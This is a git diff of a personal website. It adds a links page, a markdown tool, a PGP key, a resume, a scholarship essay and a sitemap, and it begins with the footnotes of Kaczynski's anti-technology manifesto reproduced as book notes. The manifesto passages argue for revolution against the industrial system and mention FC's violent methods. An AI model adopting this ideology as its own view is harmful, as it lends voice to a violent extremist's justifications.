work fit into anther’s, so one man’s business was no longer his own. “The results of the new organization of life and +work were apparent by 1900, when some 76 percent of the 2,805,346 inhabitants of Massachusetts were classified as urbanites. +Much violent or irregular behavior which had been tolerable in a casual, independent society was no longer acceptable in the +more formalized, cooperative atmosphere of the later period.... The move to the cities had, in short, produced a more tractable, +more socialized, more ‘civilized’ generation than its predecessors.” +If copyright problems make it impossible for this long quotation to be printed, then please change Note 16 to read as follows: 16. (Paragraph 95) When the American colonies were under British rule there were fewer and less effective legal guarantees of +freedom than there were after the American Constitution went into effect, yet there was more personal freedom in preindustrial America, both before and after the War of Independence, than there was after the Industrial Revolution took hold in +this country. In “Violence in America: Historical and Comparative Perspectives,” edited by Hugh Davis Graham and Ted +Robert Gurr, Chapter 12 by Roger Lane, it is explained how in pre-industrial America the average person had greater +independence and autonomy than he does today, and how the process of industrialization necessarily led to the restriction of +personal freedom. +

    32. + +
    33. 17. (Paragraph 117) Apologists for the system are fond of citing cases in which elections have been decided by one or two +votes, but such cases are rare. +

    34. + +
    35. 18. (Paragraph 119) “Today, in technologically advanced lands, men live very similar lives in spite of geographical, religious, +and political differences. The daily lives of a Christian bank clerk in Chicago, a Buddhist bank clerk in Tokyo, and a +Communist bank clerk in Moscow are far more alike than the life of any one of them is like that of any single man who lived a +thousand years ago. These similarities are the result of a common technology....” L. Sprague de Camp, “The Ancient +Engineers,” Ballantine edition, page 17. The lives of the three bank clerks are not IDENTICAL. Ideology does have SOME +effect. But all technological societies, in order to survive, must evolve along APPROXIMATELY the same trajectory. +

    36. + +
    37. 19. (Paragraph 123) Just think an irresponsible genetic engineer might create a lot of terrorists. +

    38. + +
    39. 20. (Paragraph 124) For a further example of undesirable consequences of medical progress, suppose a reliable cure for cancer +is discovered. Even if the treatment is too expensive to be available to any but the elite, it will greatly reduce their incentive to +stop the escape of carcinogens into the environment. +

    40. + +
    41. 21. (Paragraph 128) Since many people may find paradoxical the notion that a large number of good things can add up to a bad +thing, we illustrate with an analogy. Suppose Mr. A is playing chess with Mr. B. Mr. C, a Grand Master, is looking over Mr. +A’s shoulder. Mr. A of course wants to win his game, so if Mr. C points out a good move for him to make, he is doing Mr. A a +favor. But suppose now that Mr. C tells Mr. A how to make ALL of his moves. In each particular instance he does Mr. A a +favor by showing him his best move, but by making ALL of his moves for him he spoils his game, since there is not point in +Mr. A’s playing the game at all if someone else makes all his moves. The situation of modern man is analogous to that of Mr. +A. The system makes an individual’s life easier for him in innumerable ways, but in doing so it deprives him of control over +his own fate. +

    42. + +
    43. 22. (Paragraph 137) Here we are considering only the conflict of values within the mainstream. For the sake of simplicity we +leave out of the picture “outsider” values like the idea that wild nature is more important than human economic welfare. +

    44. + +
    45. 23. (Paragraph 137) Self-interest is not necessarily MATERIAL self-interest. It can consist in fulfillment of some +psychological need, for example, by promoting one’s own ideology or religion. +

    46. + +
    47. 24. (Paragraph 139) A qualification: It is in the interest of the system to permit a certain prescribed degree of freedom in some +areas. For example, economic freedom (with suitable limitations and restraints) has proved effective in promoting economic +growth. But only planned, circumscribed, limited freedom is in the interest of the system. The individual must always be kept +on a leash, even if the leash is sometimes long (see paragraphs 94, 97). +

    48. + +
    49. 25. (Paragraph 143) We don’t mean to suggest that the efficiency or the potential for survival of a society has always been +inversely proportional to the amount of pressure or discomfort to which the society subjects people. That certainly is not the +case. There is good reason to believe that many primitive societies subjected people to less pressure than European society did, +but European society proved far more efficient than any primitive society and always won out in conflicts with such societies +because of the advantages conferred by technology. +

    50. + +
    51. 26. (Paragraph 147) If you think that more effective law enforcement is unequivocally good because it suppresses crime, then +remember that crime as defined by the system is not necessarily what YOU would call crime. Today, smoking marijuana is a +“crime,” and, in some places in the U.S., so is possession of an unregistered handgun. Tomorrow, possession of ANY firearm, +registered or not, may be made a crime, and the same thing may happen with disapproved methods of child-rearing, such as +spanking. In some countries, expression of dissident political opinions is a crime, and there is no certainty that this will never +happen in the U.S., since no constitution or political system lasts forever. If a society needs a large, powerful law enforcement +establishment, then there is something gravely wrong with that society; it must be subjecting people to severe pressures if so +many refuse to follow the rules, or follow them only because forced. Many societies in the past have gotten by with little or no +formal law-enforcement. +

    52. + +
    53. 27. (Paragraph 151) To be sure, past societies have had means of influencing human behavior, but these have been primitive +and of low effectiveness compared with the technological means that are now being developed. +

    54. + +
    55. 28. (Paragraph 152) However, some psychologists have publicly expressed opinions indicating their contempt for human +freedom. And the mathematician Claude Shannon was quoted in Omni (August 1987) as saying, “I visualize a time when we +will be to robots what dogs are to humans, and I’m rooting for the machines.” +

    56. + +
    57. 29. (Paragraph 154) This is no science fiction! After writing paragraph 154 we came across an article in Scientific American +according to which scientists are actively developing techniques for identifying possible future criminals and for treating them +by a combination of biological and psychological means. Some scientists advocate compulsory application of the treatment, +which may be available in the near future. (See “Seeking the Criminal Element,” by W. Wayt Gibbs, Scientific American, +March 1995.) Maybe you think this is OK because the treatment would be applied to those who might become violent +criminals. But of course it won’t stop there. Next, a treatment will be applied to those who might become drunk drivers (they +endanger human life too), then perhaps to peel who spank their children, then to environmentalists who sabotage logging +equipment, eventually to anyone whose behavior is inconvenient for the system. +

    58. + +
    59. 30. (Paragraph 184) A further advantage of nature as a counter-ideal to technology is that, in many people, nature inspires the +kind of reverence that is associated with religion, so that nature could perhaps be idealized on a religious basis. It is true that in +many societies religion has served as a support and justification for the established order, but it is also true that religion has +often provided a basis for rebellion. Thus it may be useful to introduce a religious element into the rebellion against +technology, the more so because Western society today has no strong religious foundation. Religion, nowadays either is used +as cheap and transparent support for narrow, short-sighted selfishness (some conservatives use it this way), or even is cynically +exploited to make easy money (by many evangelists), or has degenerated into crude irrationalism (fundamentalist protestant +sects, “cults”), or is simply stagnant (Catholicism, main-line Protestantism). The nearest thing to a strong, widespread, dynamic +religion that the West has seen in recent times has been the quasi-religion of leftism, but leftism today is fragmented and has no +clear, unified, inspiring goal. Thus there is a religious vacuum in our society that could perhaps be filled by a religion focused +on nature in opposition to technology. But it would be a mistake to try to concoct artificially a religion to fill this role. Such an +invented religion would probably be a failure. Take the “Gaia” religion for example. Do its adherents REALLY believe in it or +are they just play-acting? If they are just play-acting their religion will be a flop in the end. It is probably best not to try to +introduce religion into the conflict of nature vs. technology unless you REALLY believe in that religion yourself and find that +it arouses a deep, strong, genuine response in many other people. +

    60. + +
    61. 31. (Paragraph 189) Assuming that such a final push occurs. Conceivably the industrial system might be eliminated in a +somewhat gradual or piecemeal fashion (see paragraphs 4, 167 and Note 4). +

    62. + +
    63. 32. (Paragraph 193) It is even conceivable (remotely) that the revolution might consist only of a massive change of attitudes +toward technology resulting in a relatively gradual and painless disintegration of the industrial system. But if this happens we’ll +be very lucky. It’s far more probably that the transition to a non-technological society will be very difficult and full of conflicts +and disasters. +

    64. + +
    65. 33. (Paragraph 195) The economic and technological structure of a society are far more important than its political structure in +determining the way the average man lives (see paragraphs 95, 119 and Notes 16, 18). +

    66. + +
    67. 34. (Paragraph 215) This statement refers to our particular brand of anarchism. A wide variety of social attitudes have been +called “anarchist,” and it may be that many who consider themselves anarchists would not accept our statement of paragraph 215. +It should be noted, by the way, that there is a nonviolent anarchist movement whose members probably would not accept +FC as anarchist and certainly would not approve of FC’s violent methods. +

    68. + +
    69. 35. (Paragraph 219) Many leftists are motivated also by hostility, but the hostility probably results in part from a frustrated +need for power. +

    70. + +
    71. 36. (Paragraph 229) It is important to understand that we mean someone who sympathizes with these MOVEMENTS as they +exist today in our society. One who believes that women, homosexuals, etc., should have equal rights is not necessary a leftist. +The feminist, gay rights, etc., movements that exist in our society have the particular ideological tone that characterizes leftism, +and if one believes, for example, that women should have equal rights it does not necessarily follow that one must sympathize +with the feminist movement as it exists today. +

    72. +
    + +

    My Footnotes

    + +

    A1. Paragraph 96 +FC is "Freedom Club"; Kaczynski used this to refer to himself. +

    + +

    A2. (Paragraph 116) A scan (slideshow of images) of the original manuscript is available at: https://archive.org/details/fc.manifesto/page/n107/mode/2up

    + + +
    +
    +
    + + diff --git a/links/index.html b/links/index.html new file mode 100644 index 0000000..a5d1f11 --- /dev/null +++ b/links/index.html @@ -0,0 +1,335 @@ + + + + + Links | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    + +
    +
    +

    Find Me Other Places

    +
    + + + + + + + + + + + + + + + +
    + +
    +
    +

    Secure Service Links

    +
    + + + + + + + +
    + +
    +
    +

    Linux Links

    +
    + + + + + + + + + +
    + +
    +
    +

    Interesting Links

    +
    + + + + + + + +
    + +
    +
    +

    Inspiration Comes From

    +
    + + + +
    + +
    +
    +

    The "This Is A Website" Series

    +
    + + + + + + + +
    + +
    +
    +

    Friends' Websites

    +
    + + + +
    + +

    All my big projects are on my homepage.

    + +
    +
    + +
    + + diff --git a/md/index.html b/md/index.html new file mode 100644 index 0000000..c7af828 --- /dev/null +++ b/md/index.html @@ -0,0 +1,73 @@ + + + + + Simple Markdown Converter w/ MathML Support | tait.tech + + + + + + + + + + + + + + + + + + + +
    +
    + +

    Tait’s Simple Markdown Tool

    + +

    Info

    + +
      +
    • You can use $...$ for inline math.
    • +
    • You can use $$...$$ for “display mode” math.
    • +
    • Display mode will make the equation take up an entire line for itself, and it will display larger and more “formally”. It also allows you to have newlines without breaking up the expression, and/or the use of \newline to have a multi-line formula.
    • +
    • You can save the HTML or markdown for future use.
    • +
    • You can download the HTML or markdown for sharing with others.
    • +
    • Saving will save it to your browser’s local storage so when you load the page again–even after a reboot–it will be pre-populated with what you saved last.
    • +
    • Converting to HTML automatically saves both the markdown and the HTML.
    • +
    • This page is fully functional without an internet connection. Ctrl+s to save the page with its CSS and Javascript and you can use this tool offline.
    • +
    + +

    Editor

    + +

    +OK

    + +

    + + +


    +

    Actions

    + +
      +
    • +
    • +
    • +
    • +
    • +
    + +

    HTML is below this section break:

    + +
    + +
    + +
    +
    +
    +
    + + diff --git a/public-key.asc b/public-key.asc new file mode 100644 index 0000000..c9d83ac --- /dev/null +++ b/public-key.asc @@ -0,0 +1,51 @@ +-----BEGIN PGP PUBLIC KEY BLOCK----- + +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 +=wEUc +-----END PGP PUBLIC KEY BLOCK----- diff --git a/resume/index.html b/resume/index.html new file mode 100644 index 0000000..78a29c6 --- /dev/null +++ b/resume/index.html @@ -0,0 +1,205 @@ + + + + + Resume | tait.tech + + + + + + +
    +
    +

    Tait Hoyem

    + +

    Experience

    +
      + +
    • + Zone4 Systems Inc.Software Developer (June 2021-December 2021) + +

      Software development and QA (testing) for an international race timing company based in Canmore, AB. Testing using unittest and Selenium. Development done in Javascript and Tornado. Zone4 was founded in 2001 by Canadian Olympian Dan Roycroft.

      +
    • + +
    • + Bytetools Technologies Inc.Founder (2020-present) + +

      Providing small businesses with simple, secure software solutions.

      +
    • + +
    • + VOG App DevelopersContractor (Summer 2020) + +

      Identify seed health for machine learning algorithm bootstrapping.

      +
    • + +
    • + IndependentTutoring/Transcribing (2019-present) + +

      Working with computer science students explaining introductory to advanced concepts. Covering languages from C/C++ to Javascript to Python. I am skilled in working with students who have visual impairments: transcribing inaccessible computer code (from images or a screen-share) and presenting complex math equations and diagrams in an accessible format.

      +
    • + +
    • + Total Impact SignsContractor (2014-2016) + +

      Implemented a semi-automatic payroll system replacing the manual sign in book used before.

      +
    • + +
    + +

    Education

    +
      + +
    • + Athabasca University — Degree / Bachelor of Science (2021-2023) + +

      Theoretical underpinnings to work towards my goal of a Master’s in cybersecurity.

      + +
    • + +
    • + Southern Alberta Institute of Technology — Diploma / Information Technology — Software Development Major (2019-2021) + +

      Full-stack two year software development diploma. Focusing on databases, interface design, systems administration, security and enterprise solutions.

      + +
    • + +
    • + Dartmouth College (Open Corseware) — Professional Certificate / C Programming with Linux (2020) + +

      A certification in C programming, the gcc compiler, and the make compilation system. 100% mark.

      + +
    • + +
    • + The Linux Foundation — Certification / Certified Linux System Administrator (2016) + +

      Certified in Linux system administration tasks. Running web servers, maintaining mass storage systems, running secure remote control tools. Certificate no longer valid.

      + +
    • + +
    + +

    Projects

    +
      + +
    • + Odilia Screen Reader + +

      Significant contributor to a new screen reader for Linux, written in the Rust programming language.

      +
    • + +
    • + Programming Tutorials For The Visually Impaired + +

      Amateur-level production quality videos with all file buffers, written text, and shell commands read out by Emacspeak, an Emacs extention for the blind.

      +
    • + +
    • + Simple Markdown Editor + +

      A simple online (and offline) browser-based markdown editor that supports the automatic creation of accessible math (MathML).

      +
    • + +
    • + Lichess + +

      A patch for Lichess.org which vastly extends support for screen reader users. The website has millions of active players.

      +
    • + +
    • + Quote Retrieval System + +

      Written for a local roofing business to securely distribute quotes.

      +
    • + +
    • + epub-with-pinyin + +

      A program to add Pinyin above Chinese characters in .epub files to assist those learning Mandarin Chinese.

      +
    • + +
    • + lamegames + +

      A little games website I made for some demonstrations of Django and websocket functionality. Very, very lame. Would not recommend.

      +
    • + +
    • + chess + +

      A command-line chess game in C++. It is compileable on nearly any system.

      +
    • + +
    + +

    Skills

    + +

    Languages

    +
      + +
    • English (native)
    • + +
    • Mandarin (novice)
    • + +
    + +

    Programming Languages

    +
      + +
    • C/C++
    • + +
    • Python
    • + +
    • Java & Java EE
    • + +
    • HTML/CSS/JS (Frontend Web)
    • + +
    • Typescript, SCSS, Static Site Generation (Compiled Web)
    • + +
    • PHP
    • + +
    • POSIX-compliant Shell
    • + +
    • LaTeX, MathML
    • + +
    + +

    Frameworks/Environments/Libraries

    +
      + +
    • Flask
    • + +
    • Django
    • + +
    • JQuery
    • + +
    • Jekyll
    • + +
    • Tornado
    • + +
    + +

    Miscellaneous/Hobbies

    +
      + +
    • Git
    • + +
    • 3D Printing
    • + +
    • Proxmox Virtualization
    • + +
    • Embedded Systems (RPi, ESP-compatible)
    • + +
    • Founder & Ex-President of Southern Alberta Institute of Technology's Free & Open-Source Software Club
    • + +
    + + +
    +
    +
    +
    + + diff --git a/robots.txt b/robots.txt new file mode 100644 index 0000000..e087884 --- /dev/null +++ b/robots.txt @@ -0,0 +1 @@ +Sitemap: /sitemap.xml diff --git a/scholarships/2020/cnib/index.html b/scholarships/2020/cnib/index.html new file mode 100644 index 0000000..6b4c361 --- /dev/null +++ b/scholarships/2020/cnib/index.html @@ -0,0 +1,76 @@ + + + + + CNIB Scholarship Essay 2020 | tait.tech + + + + + + +
    +
    +

    CNIB Scholarship Essay

    + +

    Intro

    +

    Question: +How will this scholarship change what it is to be blind for you as you pursue your post-secondary education?

    + +

    Answer: +I have taken every opportunity of my short life to deny being defined solely by any disability. +This essay will focus more on my educational goals and career aspirations on their own merit.

    + +

    I would love your support in accomplishing these goals!

    + +

    Goals

    + +

    My current educational path involves finishing a diploma program, +then transfering to a Bachelor’s of Technology program in cybersecurity and digital forensics at BCIT.

    + +

    Cybersecurity was not an overnight choice. +It became interesting to me over time as I saw ordinary people give up their privacy because they wanted their phone to tell them the weather—or some such other minor life enhancement.

    + +

    Of course, it is a exaggeration to say that this is the reason people give up privacy, +but consider the extreme case: +You have your phone location on at all times; +you own an Alexa which listens to everything you say at home; +you text and call others using a service that openly collects the contents of your messages.

    + +

    Would you want every single text you have sent to appear on the front page of the newspaper? +What about every thing you have said in the privacy of your own home? +Do you want just anyone to know where you were today?

    + +

    If any one person had access to all this information about you, it would likely make you uneasy. +I know it makes me a bit nervous at least.

    + +

    One of the primary goals of my career is to build tools that empower the individual. +Tools that make the individual more independent, not less. +These tools must be for the average consumer. +They must appeal to a mass market without compromising the secure, private foundations. +This is my goal: +Allow normal people, non-techies and techies alike, to just be able to send a text message without the world watching over their shoulder.

    + +

    The second goal I have is to make this technology accessible to everyone. +Security-focused apps need to be fast so they will run on less expensive phones. +They need to be simple so that screen readers can process them correctly.

    + +

    These are not hard things to do. +In fact, I would argue that designing software this way: independent of third parties, simple, able to run on cheap devices—is actually easier than designing it the way large companies seem to design software.

    + +

    Conclusion

    + +

    I have a vision for how to build open, secure, private and accessible applications. +Your help in moving that goal forward would be much appreciated.

    + +

    Without you I can do it.

    + +

    With you I can do it better.

    + + +
    +
    +
    +
    + + diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 0000000..e28c35a --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,2517 @@ + + + +/book-notes/canadian-history-for-dummies/ +2021-12-07T09:31:35-07:00 + + +/book-notes/industrial-society-and-its-future/ +2021-12-07T09:31:35-07:00 + + +/emacspeak-tutorials/arrays/ +2021-12-07T09:31:35-07:00 + + +/emacspeak-tutorials/functions/ +2021-12-07T09:31:35-07:00 + + +/emacspeak-tutorials/loops/ +2021-12-07T09:31:35-07:00 + + +/emacspeak-tutorials/pointers/ +2021-12-07T09:31:35-07:00 + + +/emacspeak-tutorials/printing/ +2021-12-07T09:31:35-07:00 + + +/emacspeak-tutorials/structs/ +2021-12-07T09:31:35-07:00 + + +/emacspeak-tutorials/user-input/ +2021-12-07T09:31:35-07:00 + + +/2020/01/22/padding-and-margin/ +2020-01-22T00:00:00-07:00 + + +/2020/01/26/rsa1/ +2020-01-26T00:00:00-07:00 + + +/2020/02/19/rsa2/ +2020-02-19T00:00:00-07:00 + + +/2020/04/02/rsa3/ +2020-04-02T00:00:00-06:00 + + +/2020/04/06/rsa4/ +2020-04-06T00:00:00-06:00 + + +/2020/04/12/nas1/ +2020-04-12T00:00:00-06:00 + + +/2020/04/21/rfi/ +2020-04-21T00:00:00-06:00 + + +/2020/04/25/xss/ +2020-04-25T00:00:00-06:00 + + +/2020/05/01/nginx-socket-io-projects/ +2020-05-01T00:00:00-06:00 + + +/2020/05/19/clue-announcement/ +2020-05-19T00:00:00-06:00 + + +/2020/06/04/site-update/ +2020-06-04T00:00:00-06:00 + + +/2020/06/25/tmux-minecraft/ +2020-06-25T00:00:00-06:00 + + +/2020/07/12/independence/ +2020-07-12T00:00:00-06:00 + + +/2020/07/19/multicraft-php-gentoo/ +2020-07-19T00:00:00-06:00 + + +/2020/07/30/canadian-parliament/ +2020-07-30T00:00:00-06:00 + + +/2020/08/15/openbsd1/ +2020-08-15T00:00:00-06:00 + + +/2020/08/18/django-deployment/ +2020-08-18T00:00:00-06:00 + + +/2020/09/09/lamegames/ +2020-09-09T00:00:00-06:00 + + +/2020/09/12/minesweeper/ +2020-09-12T00:00:00-06:00 + + +/2020/10/26/curiosity/ +2020-10-26T00:00:00-06:00 + + +/2020/11/15/nas2/ +2020-11-15T00:00:00-07:00 + + +/2020/12/01/pacaur-rpi/ +2020-12-01T00:00:00-07:00 + + +/2020/12/14/orca-raspberry-pi-manjaro/ +2020-12-14T00:00:00-07:00 + + +/2020/12/20/deploy-lichess/ +2020-12-20T00:00:00-07:00 + + +/2021/01/31/lichess/ +2021-01-31T00:00:00-07:00 + + +/2021/04/04/quiz-your-friends-xss/ +2021-04-04T00:00:00-06:00 + + +/2021/04/18/uefi-development-environment/ +2021-04-18T00:00:00-06:00 + + +/2021/06/02/pinebook-pro/ +2021-06-02T00:00:00-06:00 + + +/2021/06/21/uefi-audio/ +2021-06-21T00:00:00-06:00 + + +/2021/08/31/vpns-api/ +2021-08-31T00:00:00-06:00 + + +/2021/09/18/how-to-generate-proper-content-mathml-from-katex-or-latex/ +2021-09-18T00:00:00-06:00 + + +/2021/11/30/new-company/ +2021-11-30T00:00:00-07:00 + + +/melody/cmpt-225/01/01-intro/ + + +/melody/225/01-intro/ + + +/transcriptions/target/cmpt-225/01/01/ + + +/transcriptions/target/cmpt-295/01/01/ + + +/transcriptions/src/cmpt-225/01/01/ + + +/transcriptions/src/cmpt-295/01/01/ + + +/melody/cmpt-295/01/01/ + + +/melody/cmpt-225/02/02-stacks-and-queues/ + + +/melody/225/02-stacks-and-queues/ + + +/transcriptions/target/cmpt-225/02/02/ + + +/transcriptions/target/cmpt-295/02/02/ + + +/transcriptions/target/cmpt-295/activities/02/02/ + + +/transcriptions/src/cmpt-225/02/02/ + + +/transcriptions/src/cmpt-295/02/02/ + + +/transcriptions/src/cmpt-295/activities/02/02/ + + +/melody/cmpt-295/activities/02/02/ + + +/melody/cmpt-225/03/03-memory-and-pointers/ + + +/transcriptions/target/cmpt-225/03/03/ + + +/transcriptions/target/cmpt-295/03/03/ + + +/transcriptions/src/cmpt-225/03/03/ + + +/transcriptions/src/cmpt-295/03/03/ + + +/melody/cmpt/03/ + + +/melody/cmpt-295/asses/ass3/03/ + + +/melody/cmpt-295/03/03/ + + +/transcriptions/target/cmpt-295/activities/04-solution/04-solution/ + + +/transcriptions/src/cmpt-295/activities/04-solution/04-solution/ + + +/melody/cmpt-295/activities/04/04-solution/ + + +/transcriptions/target/cmpt-225/04/04/ + + +/transcriptions/target/cmpt-295/activities/04/04/ + + +/transcriptions/target/cmpt-295/04/04/ + + +/transcriptions/src/cmpt-225/04/04/ + + +/transcriptions/src/cmpt-295/activities/04/04/ + + +/transcriptions/src/cmpt-295/04/04/ + + +/melody/cmpt-225/04/04/ + + +/melody/cmpt/04/ + + +/melody/cmpt-295/activities/04/04/ + + +/melody/cmpt-295/04/04/ + + +/transcriptions/target/cmpt-225/05/05/ + + +/transcriptions/src/cmpt-225/05/05/ + + +/melody/cmpt-295/asses/ass5/05/ + + +/transcriptions/target/cmpt-225/06/06/ + + +/transcriptions/target/cmpt-295/06/06/ + + +/transcriptions/src/cmpt-225/06/06/ + + +/transcriptions/src/cmpt-295/06/06/ + + +/melody/cmpt-225/06/06/ + + +/melody/cmpt-295/06/06/ + + +/transcriptions/target/cmpt-225/07/07/ + + +/transcriptions/target/cmpt-295/07/07/ + + +/transcriptions/src/cmpt-225/07/07/ + + +/transcriptions/src/cmpt-295/07/07/ + + +/melody/cmpt-225/07/07/ + + +/melody/cmpt-295/07/07/ + + +/transcriptions/target/cmpt-225/08/08/ + + +/transcriptions/target/cmpt-295/08/08/ + + +/transcriptions/src/cmpt-225/08/08/ + + +/transcriptions/src/cmpt-295/08/08/ + + +/melody/cmpt-225/08/08/ + + +/melody/cmpt-295/08/08/ + + +/transcriptions/target/cmpt-225/09/09/ + + +/transcriptions/target/cmpt-295/09/09/ + + +/transcriptions/src/cmpt-225/09/09/ + + +/transcriptions/src/cmpt-295/09/09/ + + +/melody/cmpt-225/09/09/ + + +/melody/cmpt-295/09/09/ + + +/transcriptions/target/cmpt-225/10/10/ + + +/transcriptions/target/cmpt-295/10/10/ + + +/transcriptions/src/cmpt-225/10/10/ + + +/transcriptions/src/cmpt-295/10/10/ + + +/melody/cmpt-225/10/10/ + + +/melody/cmpt-295/10/10/ + + +/transcriptions/target/cmpt-225/11/11/ + + +/transcriptions/target/cmpt-295/11/11/ + + +/transcriptions/src/cmpt-225/11/11/ + + +/transcriptions/src/cmpt-295/11/11/ + + +/melody/cmpt-225/11/11/ + + +/melody/cmpt-295/11/11/ + + +/transcriptions/target/cmpt-225/12/12/ + + +/transcriptions/target/cmpt-295/12/12/ + + +/transcriptions/src/cmpt-225/12/12/ + + +/transcriptions/src/cmpt-295/12/12/ + + +/melody/cmpt-225/12/12/ + + +/melody/cmpt-295/12/12/ + + +/transcriptions/target/cmpt-225/13/13/ + + +/transcriptions/target/cmpt-295/13/13/ + + +/transcriptions/src/cmpt-225/13/13/ + + +/transcriptions/src/cmpt-295/13/13/ + + +/melody/cmpt-225/13/13/ + + +/melody/cmpt-295/13/13/ + + +/melody/cmpt-295/14/14-updated/ + + +/transcriptions/target/cmpt-225/14/14/ + + +/transcriptions/target/cmpt-295/14/14/ + + +/transcriptions/src/cmpt-225/14/14/ + + +/transcriptions/src/cmpt-295/14/14/ + + +/melody/cmpt-225/14/14/ + + +/melody/cmpt-295/14/14/ + + +/transcriptions/target/cmpt-225/15/15/ + + +/transcriptions/target/cmpt-295/15/15/ + + +/transcriptions/src/cmpt-225/15/15/ + + +/transcriptions/src/cmpt-295/15/15/ + + +/melody/cmpt-225/15/15/ + + +/melody/cmpt-295/15/15/ + + +/transcriptions/target/cmpt-295/16/16/ + + +/transcriptions/src/cmpt-225/16/16/ + + +/transcriptions/src/cmpt-295/16/16/ + + +/melody/cmpt-295/16/16/ + + +/transcriptions/target/cmpt-295/17/17/ + + 